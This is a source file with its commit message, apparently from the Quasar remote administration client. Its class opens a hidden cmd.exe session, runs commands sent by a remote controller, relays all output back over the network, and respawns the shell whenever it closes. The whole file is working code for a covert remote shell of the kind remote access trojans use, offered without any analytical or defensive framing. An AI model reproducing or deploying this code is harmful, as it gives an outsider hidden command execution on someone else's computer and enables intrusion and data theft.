Files
Quasar/Client/Core/RemoteShell/Shell.cs
T
yankejustin be78162f63 Changes to output handling of commands
Added an "IsError" property to the ShellCommandResponse to denote if the
response should be handled a certain way (if it is a response to a
ShellCommand error, then print it differently).
Also correctly queues up two different threads on shell initialization.
These ManualResetEvents now will signal the Shell's redirected output to
handle either the output, or the error output. Not at the same time
(will cause deadlocking).
We now append the text instead of concatenating. Not sure how much more
efficient this is, but it is certainly more readable.
2015-05-27 14:46:10 -04:00

187 lines
6.0 KiB
C#

using System;
using System.Diagnostics;
using System.IO;
using System.Threading;
namespace xClient.Core.RemoteShell
{
public class Shell : IDisposable
{
private Process _prc;
private bool _read;
// This ManualResetEvent will signal when we are allowed to read the standard
// error output stream from the shell (after we are done reading the standard
// output). Reading the standard output and the standard error output at the
// same time will cause a deadlock.
private ManualResetEvent redirectOutputEvent = new ManualResetEvent(false);
private ManualResetEvent redirectStandardErrorEvent = new ManualResetEvent(true);
private void CreateSession()
{
_read = true;
_prc = new Process
{
StartInfo = new ProcessStartInfo("cmd")
{
UseShellExecute = false,
RedirectStandardInput = true,
RedirectStandardOutput = true,
RedirectStandardError = true,
CreateNoWindow = true,
WorkingDirectory = Path.GetPathRoot(Environment.GetFolderPath(Environment.SpecialFolder.System)),
Arguments = "/K"
}
};
_prc.Start();
// Queue up the threads.
RedirectOutputs();
Thread.Sleep(100);
new Packets.ClientPackets.ShellCommandResponse(">> New Session created" + Environment.NewLine).Execute(
Program.ConnectClient);
}
private void RedirectOutputs()
{
ThreadPool.QueueUserWorkItem((WaitCallback)delegate { RedirectStandardOutput(); });
ThreadPool.QueueUserWorkItem((WaitCallback)delegate { RedirectStandardError(); });
}
private void RedirectStandardOutput()
{
try
{
using (var reader = _prc.StandardOutput)
{
while (!reader.EndOfStream && _read)
{
// If we are reading the standard error output, just wait.
redirectStandardErrorEvent.WaitOne();
redirectOutputEvent.Set();
var read = reader.ReadLine();
if (!string.IsNullOrEmpty(read))
{
Thread.Sleep(200);
new Packets.ClientPackets.ShellCommandResponse(read + Environment.NewLine).Execute(Program.ConnectClient);
}
redirectOutputEvent.Reset();
}
}
if ((_prc == null || _prc.HasExited) && _read)
throw new ApplicationException("session unexpectedly closed");
}
catch (ApplicationException)
{
// Reset the states...
redirectOutputEvent.Set();
redirectStandardErrorEvent.Reset();
new Packets.ClientPackets.ShellCommandResponse(">> Session unexpectedly closed" + Environment.NewLine, true)
.Execute(Program.ConnectClient);
CreateSession();
}
}
private void RedirectStandardError()
{
try
{
using (var reader = _prc.StandardError)
{
while (!reader.EndOfStream && _read)
{
// Wait for your turn! ;)
redirectOutputEvent.WaitOne();
redirectStandardErrorEvent.Reset();
var read = reader.ReadLine();
if (!string.IsNullOrEmpty(read))
{
Thread.Sleep(200);
new Packets.ClientPackets.ShellCommandResponse(read + Environment.NewLine, true).Execute(Program.ConnectClient);
}
redirectStandardErrorEvent.Set();
}
}
if ((_prc == null || _prc.HasExited) && _read)
throw new ApplicationException("session unexpectedly closed");
}
catch (ApplicationException)
{
// Reset the states...
redirectOutputEvent.Set();
redirectStandardErrorEvent.Reset();
new Packets.ClientPackets.ShellCommandResponse(">> Session unexpectedly closed" + Environment.NewLine, true)
.Execute(Program.ConnectClient);
CreateSession();
}
}
public bool ExecuteCommand(string command)
{
if (_prc == null || _prc.HasExited)
CreateSession();
if (_prc == null) return false;
_prc.StandardInput.WriteLine(command);
_prc.StandardInput.Flush();
return true;
}
public Shell()
{
CreateSession();
}
public void Dispose()
{
Dispose(true);
GC.SuppressFinalize(this);
}
protected virtual void Dispose(bool disposing)
{
if (disposing)
{
try
{
_read = false;
if (_prc != null)
{
if (!_prc.HasExited)
{
try
{
_prc.Kill();
}
catch
{ }
}
_prc.Dispose();
_prc = null;
}
GC.SuppressFinalize(this);
}
catch
{
}
}
}
}
}